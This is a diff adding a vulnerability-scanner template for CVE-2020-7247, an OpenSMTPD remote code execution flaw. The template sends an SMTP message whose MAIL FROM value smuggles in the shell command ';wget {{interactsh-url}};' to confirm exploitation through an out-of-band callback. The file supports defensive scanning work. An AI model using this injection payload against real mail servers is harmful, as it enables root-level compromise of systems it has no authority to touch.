diff --git a/javascript/cves/2020/CVE-2020-7247.yaml b/javascript/cves/2020/CVE-2020-7247.yaml new file mode 100644 index 0000000000..e25023f2b8 --- /dev/null +++ b/javascript/cves/2020/CVE-2020-7247.yaml @@ -0,0 +1,60 @@ +id: CVE-2020-7247 + +info: + name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution + author: princechaddha + severity: critical + description: | + OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation. + impact: | + Successful exploitation of this vulnerability allows an attacker to execute arbitrary code with the privileges of the OpenSMTPD process, potentially leading to a complete compromise of the affected system. + remediation: OpenBSD users are recommended to install patches for OpenBSD 6.6 + reference: + - https://www.openwall.com/lists/oss-security/2020/01/28/3 + - https://nvd.nist.gov/vuln/detail/CVE-2020-7247 + - https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45 + - http://www.openwall.com/lists/oss-security/2020/01/28/3 + - http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-7247 + cwe-id: CWE-755 + epss-score: 0.97504 + epss-percentile: 0.9998 + cpe: cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: openbsd + product: opensmtpd + tags: packetstorm,cve,cve2020,smtp,opensmtpd,network,rce,oast,kev + +javascript: + - code: | + const smtp = require('nuclei/smtp'); + const client = new smtp.Client(Host,Port); + const message = new smtp.SMTPMessage(); + message.From(From); + message.To(To); + message.Body(Msg); + Export(client.SendMail(message)); + + args: + Host: "{{Host}}" + Port: "8825" + From: ";wget {{interactsh-url}};" + To: "root" + Msg: "Contact your security team if you do not expect this message" + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: dsl + dsl: + - success == true +# - response == true + condition: and